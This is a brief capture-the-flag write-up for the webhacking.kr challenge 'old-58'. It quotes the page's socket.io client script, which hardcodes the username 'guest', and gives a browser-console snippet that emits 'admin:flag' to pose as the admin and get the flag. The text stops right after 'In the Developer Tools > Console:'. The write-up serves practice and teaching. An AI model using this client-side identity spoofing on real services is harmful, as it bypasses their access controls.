old-58 -- JavaScript (Sockets)

URL: http://webhacking.kr:10007

Looks like we have command line application:

The communication is handled by sockets.io and username seems to be hardcoded:

<script>
    $(function () {
      var username = "guest";
      var socket = io();
      $('form').submit(function(e){
        e.preventDefault();
        socket.emit('cmd',username+":"+$('#m').val());
        $('#m').val('');
        return false;
      });
      socket.on('cmd', function(msg){
        $('#messages').append($('<li>').text(msg));
      });
    });
</script>

const socket = io();
const username = 'admin';
socket.on('cmd', msg => console.log(msg));
socket.emit('cmd','admin:flag');

In the Developer Tools > Console: